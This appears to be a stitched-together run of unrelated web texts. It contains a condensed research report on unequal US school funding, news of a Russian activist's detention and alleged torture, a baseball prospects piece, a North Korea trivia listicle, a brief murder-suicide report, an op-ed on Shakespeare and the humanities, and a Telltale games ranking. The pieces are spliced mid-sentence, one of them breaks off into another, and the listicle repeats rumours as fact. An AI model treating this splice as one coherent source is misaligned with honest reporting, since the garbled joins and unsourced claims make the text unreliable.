The bottom line: Even if we confine our attention to strong studies of funding effects—well-conducted surveys meeting the criteria set forth above—we must look at findings from various studies before we decide that funding effects have been pinned down convincingly.
Strong Study Findings
Bearing these cautions in mind, can we locate strong studies, and if so, what have those studies found? Indeed, we can find such studies (see, for example, Biddle, 1997; Dolan & Schmidt, 1987; Ellinger, Wright, & Hirlinger, 1995; Elliott, 1998; Ferguson, 1991; Harter, 1999; Payne & Biddle, 1999; Wenglinsky, 1997a, 1997b). Although we do not list all of them here, the examples we cite will indicate typical findings. As a rule, such studies report that level of funding is tied to sizable net effects for student outcome.
To illustrate, a study of 11th grade achievement scores among school districts in Oklahoma found that both student poverty and per-student revenues within schools were associated with achievement. Effects for the former were roughly twice the size of those for the latter (Ellinger et al., 1995). Similar results were found for the determinants of 8th grade achievement scores among school districts from across the United States that participated in the Second International Study of Mathematics Achievement (Payne & Biddle, 1999). And Harold Wenglinsky (1997a), using data drawn from the National Assessment of Educational Progress, found that average student socioeconomic status and per-student expenditures within school districts were both associated with level of mathematics achievement in the 8th grade, but that the effects for socioeconomic status were again larger than those for per-student expenditures.
Collectively, these studies have employed various techniques designed to rule out alternative hypotheses, and all of them have concluded that funding has substantial effects, although level of advantage in the home and community has an even greater impact.
Research on Related Issues
Additional research has also begun to appear on issues related to the effects of unequal funding.
International Studies
How great are the effects generated by differences in school funding and student disadvantage among U.S. schools? One way to answer this question is to compare the sizes of those effects with disparities in achievement among different countries found in international comparisons.
For example, the International Association for the Advancement of Educational Achievement published the Mathematics Benchmarking Report, based on data from the Third International Mathematics and Science Study, which compared 8th grade mathematics achievement scores of students in other nations with those of students in specific states, school districts, and school consortia within the United States (Mullis et al., 2001).
The two best-scoring entities in the United States were the Naperville, Illinois, Public School District and the self-proclaimed “First-in-the-World” Consortium (composed of school districts from the Chicago North Shore area). Both of these entities have high levels of funding and serve low numbers of impoverished students, and both earned high achievement scores comparable to those of Hong Kong, Japan, and other top-scoring countries. In contrast, the two worst-scoring U.S. entities were the Miami-Dade County Public Schools in Florida and the Rochester School District in New York. Both of these receive low levels of funding and serve many poor students, and each earned low achievement scores similar to those of the worst-scoring nations in the study—Turkey, Jordan, and Iran.
Thus, differences in student advantage and funding in the United States generate achievement disparities that are comparable to those separating the highest- and lowest-achieving nations in international studies. These sizable disparities suggest that the U.S. public school system includes a huge range of education environments.
Funding Differences Over Time
Critics of public schools sometimes claim that funding for schools has increased sharply in recent years, but this increase has not generated achievement gains (Hanushek, 1996b). To illustrate, here is what Benno Schmidt, former President of Yale University, said to justify his decision to head a new, national, for-profit, private school program:
We have roughly doubled per-pupil spending (after inflation) in public schools since 1965... yet dropout rates remain distressingly high.... Overall, high school students today are posting lower SAT scores than a generation ago. The nation's investment in educational improvement has produced very little return. (cited in Rothstein, 1993)
This claim is strongly refuted by a careful study of spending patterns in nine school districts across the United States from 1967 to 1991 (Miles & Rothstein, 1995). Recent legislative mandates and court decisions have assigned to schools a host of new responsibilities designed to meet the needs of disadvantaged students. These mandates have often been underfunded but, taken together, have raised costs for public schools significantly. As a result, about one third of net new dollars during this period went to support special education students; 8 percent went to dropout prevention programs, alternative instruction, and counseling aimed at keeping students in school; another 8 percent went to expand school lunch programs; 28 percent went to fund increased salaries for a teacher population whose average age was increasing; and so forth. Very few additional dollars were provided for needs associated with basic instruction during these years. Small wonder that these types of additional “investments” generated few achievement gains for mainstream students.
How Funding Affects Student Outcomes
If better-funded schools do generate higher levels of achievement, how do they accomplish this task? Various studies have begun to explore this question, with interesting findings. So far, the most impressive findings are associated with teacher qualifications. Better-funded school districts can attract teachers with higher levels of education, more experience, and higher scores on competency tests; these teachers, in turn, seem to generate better achievement scores among students (Darling-Hammond & Post, 2000; Elliott, 1998; Ferguson, 1991; Ferguson & Ladd, 1996).
In addition, better-funded schools are often able to reduce class sizes, and smaller classes seem to help generate better achievement among students. As a rule, the effects so far reported for class size appear to be weaker than those for teacher qualifications, but this conclusion may not be valid. For one thing, some studies of the problem have not examined class size directly but rather the effects of a proxy variable—student-teacher ratio—that is assumed to represent class size but does not. Student-teacher ratio is normally measured at the school or district level and often counts the school's coaches, nurses, social workers, and other service professionals who do not teach.
Moreover, evidence indicates that class size reduction raises achievement when applied in the early grades, but evidence has not yet appeared indicating that class size has much effect in the middle school or high school years. Thus, to study the effects of funding-associated differences in class size on achievement properly, one should focus efforts on class size in the early grades. Fortunately, at least one well-crafted study has already done this (Ferguson & Ladd, 1996), and that study reported strong effects for class size. In addition, strong field experiments and trial programs have confirmed that smaller class sizes in the early grades generate both immediate and long-term advantages in student outcomes and that these effects are greater for minority or impoverished students (Biddle & Berliner, 2002a, 2002b).
Differential Impact
Given the evidence reviewed above, it seems obvious that students from disadvantaged families will suffer the most from the U.S. system of unequal school funding because these students are more likely to attend poorly funded public schools. In addition, one assumes that disadvantaged students would suffer particularly when they attend schools with inadequate funding, and research is beginning to support this assumption.
In his recent study, Harold Wenglinsky (1998) found that gaps in achievement between students from high and low socioeconomic-status homes are greater in poorly funded schools than in well-funded schools. And Elizabeth Harter (1999) reported that the achievement effects of funding levels associated with school upkeep are greater in schools serving impoverished students.
Doing Something About the Problem
The funding of public schools through local property taxes has deep historical roots in our country, and suburban hostility to plans for greater equity in public school funding has been intense. Given such facts, what can we do to help solve this problem today?
Because funding inequities exist both within and between states, the ideal way to address them would be through changes in federal policies, but interest in school funding issues has not been great in Washington, D.C., or among the national media. We would need a concerted effort to change this situation as long as most federal politicians depend on support from wealthy donors who often live in the suburbs.
But what about the federal courts? One would think that inequitable school funding creates conditions that violate U.S. citizens' claims for equal opportunities, but in its landmark ruling on San Antonio Independent School District v. Rodriguez, issued in 1973, the U.S. Supreme Court denied this contention. By a 5-4 vote, the high court ruled that the U.S. Constitution does not require equal funding among school districts. This decision effectively foreclosed federal court action to remedy inequities in school funding, at least for the near future.
This does not mean that the funding equity issue has been dead in state courts. On the contrary, many state constitutions mandate equal opportunities in education. As a result, suits challenging the legality of unequal funding based on district property taxes have been filed in more than three-fourths of the states, and these suits have been upheld or are still pending in at least 31 states (Morales, 1997; Murray, Evans, & Schwab, 1998; Rothstein, 2000). Details and histories of these efforts have varied sharply from state to state, but we can summarize their results with four statements:
Particularly when successful, these suits have stimulated both public interest and follow-up actions by state legislatures designed to provide greater funding equity.
In many cases, such actions have provided additional dollars from state taxes for impoverished school districts while leaving levels of funding for affluent school districts in place.
These reforms have tended to reduce but not eliminate the within-state inequities that they were designed to address.
These actions have not addressed inequities in school funding among the states.
Meanwhile, the focus of some state litigation has begun to shift away from equity to adequacy of support for schools, the latter term referring to whether schools have sufficient funds to “provide adequate education so that all students have equal opportunities to play roles as citizens and to compete in the labor market” (Rothstein, 2000, p. 74). This shift opens a can of worms because how one goes about developing valid and agreed-on measures of “adequacy” is by no means clear. Indeed, if people in the United States were to commit themselves to a level playing field in public education, they (like the Dutch) should provide extra funding for schools that serve large numbers of impoverished students. Such funds would be needed not only for special educational programs and extra physical facilities but also for additional salaries to recruit and retain qualified teachers who would otherwise migrate to schools serving fewer “problematic” students.
What Do We Now Know?
Taken together, research evidence now available suggests a number of conclusions about unequal funding and its effects:
Public schools in the United States receive sharply unequal funding. Among the nation's school districts, annual funding per student can range from less than $4,000 to more than $15,000, and although the “typical” school district with 1,000 or more students receives roughly $5,000 per year for each student, affluent districts may receive $10,000 per student or more.
Large differences in public school funding appear both among the states and within many states.
Funding differences appear, in part, because much of the financial support for public schools comes from local property taxes, which means that the amount of funding that communities are able to provide for their schools varies according to community affluence.
Although most people in the United States are not aware of it, other advanced nations do not fund public schools with local property taxes. Instead, they provide equal per-student funding from general tax revenues for all schools throughout the country. Some nations also provide extra funding for disadvantaged students.
fund public schools with local property taxes. Instead, they provide equal per-student funding from general tax revenues for all schools throughout the country. Some nations also provide extra funding for disadvantaged students. Most people in the United States say they support equal funding for public schools, but affluent and power-ful people often oppose efforts to correct funding inequities.
Opposition to equity in school funding reflects several factors: ignorance about funding differences; unthinking acceptance of traditional methods for funding education; selfish desires to keep personal taxes low; and inappropriate beliefs about the causes of poverty that reflect individualism, essentialism, or theculture of poverty thesis.
Claims from flawed research and reviews of research have asserted that levels of funding for schools have little or no effect on student outcomes.
Strong studies indicate that level of student advantage within the home or community matters a great deal to outcomes in education, but sizable (although smaller) net effects are also associated with differences in school funding.
The joint effects of school funding and student advantage are sizable. Achievement scores from U.S. school districts with substantial funding and low student poverty are similar to those earned by the highest-scoring countries in international comparative studies, whereas scores from districts where funding is inadequate and poverty is high are similar to those of the lowest-scoring countries.
New demands placed on public schools have driven aggregate increases in school funding during recent years. These increases have not been used for additional resources that would generate increases in average student achievement.
Two types of resources associated with greater school funding have been tied to higher levels of student achievement: stronger teacher qualifications and smaller class sizes in the early grades.
The achievements of disadvantaged students are more likely to suffer in response to inequities in school funding for two reasons: Those students are more likely to attend poorly funded schools, and they are more likely to be hurt by lack of academic resources when schools are underfunded.
Legal and political efforts to reform funding inequities have been weak at the federal level, but considerable activity concerned with unequal funding has taken place in state courts and legislatures. The latter efforts have provoked some increases in state funds for poorly funded districts while leaving funding for rich, suburban districts largely in place.
Policy Implications
Given our traditional beliefs about individual efficacy and the recent flowering of conservative thought in the United States, it is hardly surprising that some argue that access to education is a personal right to be exercised by students and their families solely for their own benefit. And yet, Americans have also long embraced an alternative vision for public education that John Adams, Thomas Jefferson, James Madison, and John Dewey articulated.
This vision has stressed the need for a public school system that generates the informed citizenry needed for democratic government, embraces the welfare of all children in the nation, upholds the ideal of equal opportunity, and stresses the belief that public education can and should provide a level playing field. Dewey's maxim, now a century old, applies here: “What the best and wisest parent wants for his own child, that must be what the community wants for all its children” (1899/1900, p. 3).
In Pursuit of Better Schools: What Research Says
Educational Leadership is pleased to publish this article, the second in a series of research reports. This report is condensed from “Unequal Funding for Schools in America,” a major research synthesis that appears as part of a series supported by the Rockefeller Foundation—In Pursuit of Better Schools: What Research Says. The Rockefeller Foundation supports research on major issues facing education today. Further information about the series and a longer, downloadable version of this report may be found at http://edpolicyreports.org. Look for more of this series in upcoming issues of Educational Leadership.
How to Support Funding Equity
If you are an educator, an administrator, a school board member, a parent, a civil servant, or a political leader interested in greater funding equity, here are a few strategies to consider: Become familiar with the facts and issues associated with equity and funding in U.S. schools, the unsupportable claims about funding effects sometimes made by those who oppose equitable funding, and the research findings that contradict those claims. Become politically active in support of funding reform. Work with the media to raise public awareness of funding inequities and their implications in education, lobby your representatives in Congress to make the case for more federal support of impoverished schools, and work with others at the state level to support legal and legislative actions favoring greater funding equity. If you represent the media, encourage the production of news items and editorial pieces that focus attention on inequities in funding for public schools and their consequences for individual students and U.S. society, now and in the future. If you are a jurist or public servant, welcome opportunities to make the case for greater funding equity in the courts and legislatures. In addition, if you are an educator serving in a public school with inadequate funds, focus efforts on strategies, more often found in well-funded schools today, that are now known to be associated with greater student achievement, such as recruiting, motivating, and retaining qualified teachers and reducing class sizes in the early grades.
References
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Hanushek, E. A. (1996b). School resources and student performance. In G. Burtless (Ed.), Does money matter? The effect of school resources on student achievement and adult success (pp. 43–73). Washington, DC: The Brookings Institution.
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According to Svetlana Sidorkina, a Russian lawyer well-known to Ukrainians for her defence of Oleksandr Kolchenko, Bakholdin is charged with involvement in an ‘extremist society’ (under Article 282.1 § 2 of the Russian criminal code). She told Mediazona that she had seen Bakholdin, who had refused to give any testimony and had not signed anything. Sidorkina has not been provided with any documents, and has no idea what the charges are based on.
Friends in Kyiv say that they have had no contact with 36-year-old Bakholdin since March 8, and he had not spoken of any plans to travel to Russia. His last Facebook page entry was at the beginning of March.
Nadezhda Bakholdina has told OVDinfo that she was officially informed on March 17 that her son had been arrested in Russia, supposedly “while trying to illegally cross the Russian-Ukrainian border”. This is ominously like the situation in 2012 with Russian activist Leonid Razvozzaev, who was abducted from the centre of Kyiv, and then later charged by a Russian court with the same ‘illegal crossing of the border’.
Bakholdin has been living in Ukraine since the end of 2014. He had taken part in anti-war pickets in Moscow and the monthly protests in support of political prisoners. Like other peaceful protesters, he faced attacks from pro-Kremlin provocateurs and was detained on several occasions. On 4 March, 2014, a few days after Russia’s invasion of Crimea, he was jailed for 10 days for an anti-war protest. Bakholdin gained considerable publicity in October 2014 when detained in the very centre of Moscow wearing a mask clearly intended to represent Russian President Vladimir Putin, striped prison clothes with a sign reading ‘war criminal’. He was released from a local police station a few hours later, with no charges laid. It is not unlikely that he was warned what to expect if he didn’t stop his protests and before the end of the year, he had settled in Kyiv where he has also taken part in demonstrations in solidarity with Russian political prisoners.
Nadezhda Bakholdina says that her son is now in the Bryansk SIZO No. 1, and that he was subjected to torture after being detained. She has only recently, on June 5, been allowed to see her son, who told her that he had been chained with handcuffs to a radiator, beaten and kicked to get him to ‘confess’ to being a member of Right Sector. This Ukrainian nationalist organization has been over-demonized by Russia since early 2014, and is now banned in Russia. He was later taken to the Investigative Committee in handcuffs and a winter coat over his head. His mother reports that he fainted and almost suffocated along the way.
If Bakholdin is indeed accused of illegally crossing the border into his own country of origin, this is presumably an excuse for holding him imprisoned, while the ’investigators’ try to put together a case for prosecuting him for alleged involvement in an ’extremist’ group’.
His mother says that a search was carried out of her home and the hard drive from her computer taken away by the FSB [Security Service] at the end of May.
Ukraine’s Migration Service regularly tries to refuse asylum to Russians who have come to Ukraine after taking part in Maidan, anti-war protests or demonstrations in support of Ukrainian political prisoners held in Russia. During court appeals against such refusals, migration officials have been known to accept fictitious charges used by Russia to persecute activists or to claim that Russia is a law-based country and that the activists have nothing to fear.
Bakholdin has now been in custody for three months. It is unclear on what grounds he was detained, and what evidence there is for accusing him of involvement in an ’extremist’ organization. It also looks very much as though most of this time he was deprived of any legal defence, and that at a time where, according to his mother, he was subjected to torture to get him to confess to ’involvement’ in an organization which is legal in Ukraine.CLOSE St. Louis manager Mike Matheny, Springfield manager Johnny Rodriguez and the big-name Springfield starting pitchers talk about the potential of this season. Jim Connell/News-Leader
Buy Photo Springfield Cardinals starting pitchers, from left, Sandy Alcantara, Jack Flaherty, Austin Gomber and Dakota Hudson. (Photo: Andrew Jansen/News-Leader)Buy Photo
Individually, each one is a rising pitching prospect in the St. Louis Cardinals’ organization.
Together, the four are like a team of superheroes with thunderbolt-infused arms, a pitching rotation the likes of which is seldom seen in minor-league baseball.
Let’s call them Springfield’s “Fantastic Four” … or maybe “The Shutout Squad” … how about “The K Krew”?
When the Springfield Cardinals open their 70-game home schedule on Thursday night at Hammons Field, taking the mound for the home team will be 21-year-old Sandy Alcantara. He won’t be wearing a mask or a cape, and his secret weapon isn’t so secret.
It’s a right arm that can consistently deliver fastballs that blaze past the 100-mph mark on the radar gun.
Add in Jack Flaherty, Dakota Hudson and Austin Gomber, and you’ve got a quartet that even attracted the attention of manager Mike Matheny when his big-league Cardinals were in town for an exhibition game a couple of weeks ago.
Matheny was downright en |
. He also reportedly had live lobster and cognac airlifted to the train every day, which he ate with silver chopsticks. It may seem extravagant for a Hollywood star, but keep in mind this is a country where children grow up eating bark off of trees.
9 Kim Jong-Il’s official biography
The craziness doesn’t stop there for Kim. While he was ruler, the government released an “official biography” of Kim Jong-Il’s life, reminding the world of his god-like status. According to the government, Kim was born on Mount Paektu under a double rainbow as a new star appeared in the sky. He learned to walk at 3 weeks old and corrected junior high teachers during history lessons. He has written over 1500 books and is an expert on cinema. He shot a 38 under par on the nation’s only golf course, after which he retired from the sport as he couldn’t get any better. He also has the ability to control the weather by his moods. It sure would be great to have a person like that leading our country, except he also might have murdered his 5 year old brother…
8 Shin Sang-ok
This is truly one of the most bizarre stories to come from North Korea. In 1978, famed South Korean film director Shin Sang-ok and his ex-wife Choi Eun-hee were kidnapped in Hong Kong and taken to North Korea, on the direct orders of Kim Jong-Il, in order to create a film industry for the country. They remarried due to his wishes and Shin directed 7 propaganda films while Kim acted as executive producer. The best known of these films is a Godzilla ripoff named Pulgasari, in which a tiny doll made out of rice grows into a mythical creature which helps the proletarian peasants overthrow the feudal monarchy corrupting their land (totally serious). The couple eventually were able to escape after 8 years during a film festival in Vienna.
7 American Defectors to North Korea
As unlikely as it may seem, there are those who have fled to North Korea, and even more shocking is that some of them were actually American. Since the Korean War, there have been 6 American soldiers who willingly crossed the DMZ and pledged their allegiance to North Korea. There are even others who chose to remain in North Korea after internments in POW camps. However, one of the most famous of these defectors is James Joseph Dresnok. A private in the Army, Dresnok ran across the minefield between North and South Korea in broad daylight in 1962, where North Korean soldiers quickly grabbed him. He has been a regular in propaganda films, almost always portraying villainous American characters. He still lives there with his third wife and his 4 children, and claims he doesn’t regret his decision at all. How much of that is true or false is impossible to say
6 North Korean Special Forces
As many know, North Korea possesses one of the world’s largest militaries, but they also possess the world’s largest special forces group, numbering around 180,000 members. Officially named the “Special Operations Force”, these highly trained soldiers are frighteningly deadly. Special forces are almost always on standby for an attack and even conduct regular reconnaissance missions in the South. In 1968, during what was called the “Blue House Raid“, 31 members of unit 124 of the SOF infiltrated South Korean territory and attempted to assassinate the South Korean president. They were spotted by boys collecting firewood who promptly told police. The North Koreans were ambushed by the army, who killed 29 of the soldiers, taking one prisoner, while the final soldier is presumed to have escaped back to the North.
5 Invasion tunnels
North Korean forces stationed along the DMZ are known to have dug tunnels running deep into South Korean territory. American and South Korean troops have found 4 so far, but there are believed to be around 20 more still there. Each tunnel is big enough to accommodate rapid movement of up to 30,000 troops an hour. As frightening as this may seem, the story of the tunnel’s discovery makes the North seem less sinister and even more ridiculous. After the tunnel was found, the North tried to say that they hadn’t meant to tunnel that far, despite drill marks for dynamite pointing straight towards the South. They then tried to claim it was a branch of an extended coal mine, even though there is no coal at all in the area. Undeterred, they tried to pass it off as a mine by painting the walls black
4 Kim Jong-Nam
The eldest son of Kim Jong-Il, Kim Jong-Nam carries the family penchant for bizarre behavior proudly. In 2001, he was arrested in Narita International Airport in Japan on a fake Dominican passport with the Chinese name Pang Xiong (which fittingly translates to “fat bear” in English). When questioned, he admitted he was trying to go to Disneyland of all places. He was subsequently handed back over to the Chinese and the ensuing embarrassment caused him to be exiled to China and his father named as his heir the nest submission on this list.
3 Kim Jong-Un
The newest face of North Korea, Kim Jong-Un has continued the string of threats and bellicose rhetoric that we have come to accept as customary behavior from the reclusive nation. However, very little is actually known about him. The information we do have about his personality comes from people who knew him while he attended boarding school in Switzerland. His classmates described him as not particularly smart or interested in studies, but fascinated with basketball, with Michael Jordan as his personal hero. He was also caught with something he shouldn’t have had-a bondage magazine.
2 Assassination attempt
The second item on this list to deal directly with the Kim Jong-Un, this one shows that perhaps the “Brilliant Leader”, as he has come to be known by his countrymen, is not as in control of the government as was once thought. South Korean Intelligence revealed that reports have come from the North that an attempt on Kim’s life resulted in a full blown firefight in downtown Pyongyang. It is believed that this was caused by people angry at Kim’s demotion of General Kim Yong-Chol (pictured). The general was a close ally of Kim and his father and was behind the sinking of the Cheonan in 2010 and the shelling of Yeonpyeong Island. The demotion is believed to be the result of an internal power struggle, and the general was quickly reinstated after the attempt.
1 Daily Life in North Korea
What does all this add up to? How does all this affect the everyday lives of random citizens around North Korea? The nation’s isolationist attitude means its citizens are almost totally destitute by American standards and unaware of anything happening in the world. An average worker earns around $2 to $3 per month in from the government. If you have a side job selling goods, you might earn an extra $10 a month. Public services, like health care and education, are available, but you are required to pay fees for things like electricity, heating, and even building materials. Being sent to prison is always a possibility, with people getting multiple year sentences for rolling cigarettes with newspaper that has the image of Kim Il-Sung on it. However, if this sounds like complete hell, there is an upside-marijuana is completely legal.....................................................................................................................................................................................
AMARILLO, Texas — West Texas authorities are describing the shooting deaths of a woman and her three young children as a murder-suicide.
The Potter County sheriff’s office said Friday that 34-year-old Michelle Stone and her children, ages 4 to 8, all were found dead of gunshot wounds in a recreational vehicle on land where the family was building a home in Amarillo.
In categorizing the deaths as a murder-suicide, authorities did not specify that Stone was the shooter. No suspects are being sought.
The bodies were discovered Thursday when authorities responded to an emergency call and found the RV on fire.
Stone’s husband and two older children were not harmed. One of the older children had alerted a neighbor to the fire.
Authorities have not given a motive for the shooting.Photo illustration by Juliana Jiménez. Engraving by Martin Droeshout, courtesy of the Elizabethan Club/Beinecke Rare Book & Manuscript Library/Yale University. Photo by Thinkstock
This article originally appeared on Inside Higher Ed.
“Were it so … that some little profit might be reaped (which God knows is very little) out of some of our playbooks, the benefit thereof will nothing near countervail the harm that the scandal will bring unto the library, when it shall be given out that we stuff it full of baggage [i.e., trashy] books.”
—Sir Thomas Bodley, founder of the University of Oxford’s Bodleian Library, explaining why he did not wish to keep English plays in his library (1612).
On William Shakespeare’s birthday this year, the American Council of Trustees and Alumni issued a report, “The Unkindest Cut: Shakespeare in Exile in 2015,” which warned that “less than 8 percent of the nation’s top universities require English majors to take even a single course that focuses on Shakespeare.” Warnings about the decline of a traditional literary canon are familiar from conservative academic organizations such as ACTA and the National Association of Scholars. What increasingly strikes me, however, is how frozen in amber these warnings are.
In a nation obsessed with career-specific and STEM education, there is scant support for humanities in general. Where are the conservative voices advocating for the place of English and the humanities in the university curriculum? One would think this advocacy natural for such academics and their allies. After all, when Matthew Arnold celebrated the “best that has been thought and known,” he was proposing cultural study not only as an antidote to political radicalism but also to a life reduced, by the people he called philistines, to industrial production and the consumption of goods.
We have our modern philistines. Where are our modern conservative voices to call them out? Instead, on the shrinking support for the liberal arts in American education—the most significant issue facing the humanities—organizations such as ACTA and NAS mistake a parochial struggle over particular authors and curricula for the full-throated defense of the humanities.
Worse, these organizations suggest that if one does not study Shakespeare or a small set of other writers in the traditional literary canon (moreover, in only certain ways), then literature and culture are not worth studying—hardly a way to advocate for literary studies.
The requirements at my own institution suggest how misleading the ACTA position is, and how thin a commitment to the humanities it represents. With no Shakespeare requirement in the George Mason University English department, it is true that some of our majors won’t study Shakespeare. However, because our majors must take a course in pre-1800 literature—nearly all the departments ACTA examined have a similar requirement—that means they’ll study Chaucer, or medieval intellectual history, or Wyatt, Sidney, Donne, Jonson, Milton, etc. (The study of Spenser, however, appears to me somewhat in decline; ACTA, if you want to take up the cause of The Faerie Queene, let me know.)
How can writers as great as these be off ACTA’s map? Is it because ACTA doesn’t really value them? Its Bardolatry is idolatry—the worship of the playwright as wooden sign rather than living being, a Shakespeare to scold with, but no devotion to the rich literary and cultural worlds of which Shakespeare was a part. Hence, too, the report maintains that a course such as Renaissance Sexualities is no substitute for what it calls the “seminal study of Shakespeare”—though certainly such a course might feature the Renaissance sonnet tradition, including Shakespeare’s important contribution to it, not to mention characters from Shakespeare’s plays such Romeo and Juliet or Rosalind and Ganymede.
ACTA also warns that rather than Shakespeare, English departments are “often encouraging instead trendy courses on popular culture.” This warning similarly indicates the narrowness of ACTA’s commitment to literary study. As anyone who’s ever taken a Shakespeare course should know, not only were Shakespeare’s plays popular culture in his own day (English plays were scandalous trash, thought Thomas Bodley), but also the very richness of Shakespeare’s literary achievement comes from his own embrace of multiple forms of culture. His sources are not just high-end Latin authors but also translations of pulpy Italian “novels,” English popular writers, folktales, histories and travelogues, among others. The plays remain vibrant today because Shakespeare allows all these sources to live and talk to one another.
Indeed, the literary scholars William Kerrigan and Gordon Braden point out that in this quality Shakespeare was typical of his age, for the vibrancy of the Renaissance derives in part from its hybridity. The classical was a point of departure, but neither Shakespeare nor Renaissance culture was slavishly neoclassical. Modern English departments, in their embrace of multiple literary cultures, in their serious study of our human expression, evince the same spirit.
Conservatives have suggested that the hybridity of the modern English major is responsible for declining interest in the major. That claim cannot be proved. Anecdotes and intuitions are insufficient to do so. Data on trends in the number of majors over time can only show correlation, not causation.
And in terms of correlation, here are four more likely drivers of the decline in the percentage of students majoring in English: students are worried about finding jobs and are being told (wrongly, according to the actual statistics) that the English major is not a path to one; students now have many new majors to choose from, many no longer in the liberal arts; English has traditionally had more female than male majors, and women now pursue majors, such as in business or STEM fields, from which they used to be discouraged (a good change); political leaders have abandoned the liberal arts in favor of STEM and career-specific education and are advising students to do the same (even President Obama jumped on this bandwagon, though he later apologized).
Regarding this last cause, the voices of organizations such as ACTA and NAS could particularly help, since many of these politicians are conservatives, and leaders of these academic organizations have ties to conservative political circles. In doing so, conservatives could help reclaim a legacy. In 1982, William Bennett, as chair of the National Endowment for the Humanities, urged colleges to support the humanities against “more career-oriented things.” By 1995, Bennett had become disgusted with what he saw as an overly progressive agenda in the humanities. Picking up his marbles and going home, Bennett urged Congress to defund the NEH. More recently, Bennett agreed with North Carolina Gov. Pat McCrory that the goal of publicly funded education should be to get students jobs. “How many Ph.D.s in philosophy do I need to subsidize?” Bennett asked.
Shakespeare was generous in his reading and thinking. We can be, too. Literary scholars may disagree on many things—on the values to be derived from a particular literary work, on the ways it ought to be framed, on which literary works are most worthy of classroom reading. But such disagreements are just part of the study of the humanities in a democratic society. When we support the humanities, we support an important public space to have these disagreements. We also support Shakespeare—who really isn’t going away from the English curriculum—and the study of literature more generally.
The ACTA study, as far as I can tell, was mainly met with silence. That’s because the study is a rehash of an earlier one from 2007, itself a rehash of the culture wars of the 1980s and ’90s. No one cared, because most people have moved on from the culture wars, and for many of our political leaders, culture itself doesn’t much matter anymore. Culture wars have become a war on culture. In that battle, all lovers of literature should be on the same side. Advocating for the humanities, even as we argue about them, is walking and chewing gum.
We should be able to do both at the same time. I appeal to conservative academic organizations that we need to. The one-sided emphasis on majors that lead directly to careers and the blanket advocacy of STEM fields are far greater threats to the humanities than sustainability studies. And without the humanities, there is no institutionalized study of Toni Morrison. Or pulp fiction. Or Sidney. Or Shakespeare.At one time, point and click adventure games were all the crazy. However, somewhere along the way they just seemed to take a backseat to more action heavy titles before fading out of the limelight all together. That is until a resurgence, frontlined by Telltales catalogue of almost 30 titles, came rushing back to claim their place by showing a new generation that there is so much value in a good story. Let’s take a look at some of the best titles that helped Telltale near monopolize the genre.
5. Game of Thrones
Out of the modern TT games, this one is the most flawed but it is still worthy of a playthrough if you are a Thrones fan (and you should be). Known for storytelling where you get to dictate the path your adventure takes, TT dropped the ball with GoT. Your choices initially feel meaningful but ultimately lead to the same linear path you were always destined to take. That doesn’t mean that it is not worthy of your time though. The story itself is the exact tone you’d expect from reading/watching George R.R. Martin’s work. It is brutal, conniving, and downright malicious. This game, if anything, proves Telltale can take any franchise and tell a great story. It doesn’t hurt when you make one of your main antagonists one of the most hated people on the show, Ramsay Bolton. With some tweaks in regards to some major cell shading issues throughout the game and having your choices mean more than they do, GoT Season 2 could be a contender for best TT game in the near future.
4. The Walking Dead – Season 2
Much like GoT, Walking Dead Season 2 suffers from following a linear path but it’s definitely not as noticeable. That’s because if you are emotionally invested in the main character some of the choices you do have to make are devastating. They will heavily mould her into the person you want her to become. Based on your presumed playthrough of TWD S1 (because why would you skip a whole season?), you’ll be inclined to treat her like an adult because as you’d know, she’s been through some stuff! This is the first time I’ve ever come across a media outlet that had no qualms about showing violence towards children. It’s nothing that’s truly heartbreaking though because of the setting in which you will be playing in. Danger in the form of violence from walkers and humans alike are plentiful but often random, inconsequential to the overarching story. This game does take some steps back from the first season with storytelling and some unlikeable companions but makes up for it in great voice acting and some quality action scenes.
3. The Walking Dead – Season 1
In my eyes, this title was the beginning of Telltales rise to fame in storytelling. There were a lot of titles prior to this but none more compelling and brutal. The story is told exceptionally from front to back. It took our love of some characters we know from the show and gave them even more of a backstory and it brought forth some of the most heart-wrenching feels I have ever experienced in my gaming career (yes, I consider it a job sometimes). While the QTE in TWD S1 can be considered bland and uninspired today, at the time of its release they were easily the best in the genre, bar none. It was quick paced, somewhat unforgiving, and incredibly detailed. The father/daughter-like dynamic of the main protagonists is filled with incredibly tender and devastatingly gut wrenching moments, rivaled only by The Last of Us. The graphics still hold up well (the beauty of cell shading), and the voice acting was top notch. TT will unlikely be able to top the level of emotion they put forth here but I wish them luck if they try. I’d love to be able to experience this type of emotion in gaming again.
2. The Wolf Among Us
Here’s another title that shows TT can take ANY franchise and make it playable and awesome. Prior to this game, my knowledge of the Fables comics was very scarce. Playing through TWAU took my childhood memories of fairy tales and smeared them with gore, death, adultery, and everything in between. From seeing notable characters like Snow White beheaded, Beauty working as a teller for prostitution, and one of the little pigs as a full out degenerate, TWAU grabbed hold of my life for 10 awesome hours and never let go. It was an amazing ride that continued to intrigue and inspire throughout, constantly refreshing my memories of innocent and perfect beings from my past and truly humanizing them to the rigors of what I assume is everyday life for criminals and degenerates. It also took the scariest fable from my childhood and brought it to life to successfully haunt my dreams once more. Bloody Mary in her true form is the best character model TT has ever created, even to this day. Using a notably bad character from the fairy tales as your likeable playable character was a stroke of genius. It allowed your ability to make decisions feel more broad, yet accurate, as you could truly play the character as you see him, good or bad. TWAU is a treasured game in my catalogue that will always hold a special place in my memory. Great story, great QTE, and excellent voice acting, if you let this one pass you by, you are truly missing out.
1. Tales from the Borderlands
At the top of my admittedly modern Top 5 Telltale games is without question Borderlands. Most will be surprised to see this over TWD S1 (let alone TWAU). To each their own I say, they are all quality experiences. This game is completely different from the dread and doom of all the previous titles on this list. Where Borderlands lacks the emotional and heart-wrenching storytelling, it more than makes up for it as being one of the most fun, entertaining and hilarious games I’ve ever played to completion. This explosion filled comedy show is braced by its stunning graphics and incredible QTEs that are easily above and beyond what any company, including TT, had done in the past. They are quick, intuitive, and very much compliment the type of story being told. The choices are fast paced, fun, and feel like they will have dire implications on how your story will go. Where Borderlands excels above all other games though is having the BEST cast of voice actors I’ve ever heard in one game. Nolan North, Troy Baker, Chris Hardwick and the almighty Patrick Warburton are the most notable names in a cast that dominated their scripts front to back. It was a weird feeling struggling to make a decision on who I wanted to live or die based on the voice actor, not story implications. Unlike TWD and GoT, there is no need to know the franchise the story derived from to fully enjoy this game. The story is approachable by anyone, and I urge you to do so, don’t let this one slip through the cracks.
~~Derek Pacheco~~
AdvertisementsThousands of asthma suffers are being prescribed potentially lethal medication which could bring on deadly attacks, a charity has warned.
